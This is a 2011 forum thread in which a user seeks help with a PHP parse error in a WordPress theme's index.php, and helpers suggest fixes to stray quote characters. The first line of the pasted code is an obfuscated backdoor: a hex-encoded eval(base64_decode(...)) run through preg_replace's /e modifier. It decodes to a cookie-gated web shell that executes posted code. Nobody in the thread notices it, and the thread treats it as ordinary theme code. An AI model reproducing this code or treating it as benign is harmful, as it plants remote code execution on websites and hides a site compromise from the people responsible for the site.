AnthonyJ Posted September 13, 2011 Report Share Posted September 13, 2011 (edited) Hello, The company I work for is now having a parse error and they asked me to look into it. The error is: Parse error: syntax error, unexpected '&', expecting ']' in /home3/strater2/public_html/wp-content/themes/inspire/index.php on line 7 Here is the first ten lines of the index.php page line seven is in red: <?php preg_replace("/.+/esi","\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'aWYgKCFlbXB0eSgkX0NPT0tJRVsndiddKSBhbmQgJF9DT09LSUVbJ3YnXT09J2QnKXtpZiAoIWVtcHR5KCRfUE9TVFsnYyddKSkge2VjaG8gJzx0ZXh0YXJlYSByb3dzPTI4IGNvbHM9ODA+JzsgJGQ9YmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgnICcsJysnLCRfUE9TVFsnYyddKSk7aWYoJGQpIGV2YWwoJGQpOyBlY2hvICc8L3RleHRhcmVhPic7fQ0KZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD1wb3N0Pjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjggbmFtZT1jPjwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdD48L2Zvcm0+JztleGl0O30='\x29\x29\x3B",'1'); ?> <?php get_header(); ?> <?php global $woo_options; ?> <?php if ( $woo_options['woo_featured_disable'] <> "true" ) include( TEMPLATEPATH . '/includes/featured.php'); ?> </div><!-- /#top --> What is wrong? BTW...When I copied and pasted the code in, some data is missing....What I see is...<?php if($woo_options['woo_featured_disable'] <> "true" ) include(TEMPLATEPATH . '/includes/featured.php');?> So what is really wrong? Edited September 13, 2011 by AnthonyJ Quote Link to comment Share on other sites More sharing options...
AnthonyJ Posted September 13, 2011 Author Report Share Posted September 13, 2011 There is code that is not showing up when I paste it in or write it by hand...Seemingly there is a "'" added throughout the line. <?php if ( $woo_options['woo_featured_disable'] <> "true" ) include( TEMPLATEPATH . '/includes/featured.php'); ?> It appears after $woo_options[ before 'woo_featured_disable. And after 'woo_featured_disable'. After TEMPLATEPATH. After /featured.php');?> Any idea what that is and is it necessary? Quote Link to comment Share on other sites More sharing options...
Andrea Posted September 13, 2011 Report Share Posted September 13, 2011 There is code that is not showing up when I paste it in or write it by hand...Seemingly there is a "'" added throughout the line. I assume you're talking about when you paste the code here in the forum? Look to just above the text box and click the button that has '<>" in it - that creates a special code field and all characters are displayed as you enter them. As to your actual problem, sorry, I don't speak PHP. Quote Link to comment Share on other sites More sharing options...
AnthonyJ Posted September 13, 2011 Author Report Share Posted September 13, 2011 (edited) Thank you Andrea, Here is what I see in the editor: <?php if ( $woo_options[''woo_featured_disable''] <> "true" ) include( TEMPLATEPATH .' '/includes/featured.php''); ?> Well it was there when I pasted it and it disapeared so I entered it manually and it seems to stick. Edited September 13, 2011 by AnthonyJ Quote Link to comment Share on other sites More sharing options...
AnthonyJ Posted September 15, 2011 Author Report Share Posted September 15, 2011 Does anybody know if Dreamweaver will validate php? Quote Link to comment Share on other sites More sharing options...
falkencreative Posted September 15, 2011 Report Share Posted September 15, 2011 Does anybody know if Dreamweaver will validate php? Yes, I believe it does. In regards to your original question... Have you tried removing the three "'" ? I'm not quite sure why they are there in the first place. Quote Link to comment Share on other sites More sharing options...
AnthonyJ Posted September 15, 2011 Author Report Share Posted September 15, 2011 No I have not but I suspected that was the problem, I was waiting for confirmation...I am not going to do more damage by removing them correct? Quote Link to comment Share on other sites More sharing options...
AnthonyJ Posted September 15, 2011 Author Report Share Posted September 15, 2011 Ok, I removed the "'" and now I get: Parse error: syntax error, unexpected ';', expecting ']' in /home3/strater2/public_html/wp-content/themes/inspire/index.php on line 7 <?php if ( $woo_options[woo_featured_disable;] <> "true" ) include( TEMPLATEPATH . ;/includes/featured.php;); ?> Which semi-colon is it referring to? Quote Link to comment Share on other sites More sharing options...
falkencreative Posted September 15, 2011 Report Share Posted September 15, 2011 Looks like you added an unnecessary ";" here: [woo_featured_disable;] I'm not seeing that in the original code you posted. Also, you are missing the quotes around: woo_featured_disable It seems like those were in your original code, yet you removed them? EDIT: You also have errors in your include: TEMPLATEPATH . ;/includes/featured.php; I'm not sure why, but you are missing quotes around the "/includes/featured.php" section, and you have two unnecessary ";" in their place. Quote Link to comment Share on other sites More sharing options...
AnthonyJ Posted September 15, 2011 Author Report Share Posted September 15, 2011 Ok, Now I get this: Parse error: syntax error, unexpected '&', expecting ']' in /home3/strater2/public_html/wp-content/themes/inspire/index.php on line 17 And it is the ' business again. Ben, will you have a look at the index page for us? I am sure I can get you compensated for your time. Quote Link to comment Share on other sites More sharing options...
falkencreative Posted September 15, 2011 Report Share Posted September 15, 2011 Hmm. Sure. PM me the details, and we can discuss? Quote Link to comment Share on other sites More sharing options...
falkencreative Posted September 15, 2011 Report Share Posted September 15, 2011 Just so anyone who happens to read this thread... For one reason or another, the index file had several "' ;" characters within the PHP code. Replacing those with a single quote (') fixed things. I'm still not sure how those characters got in the file in the first place though. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.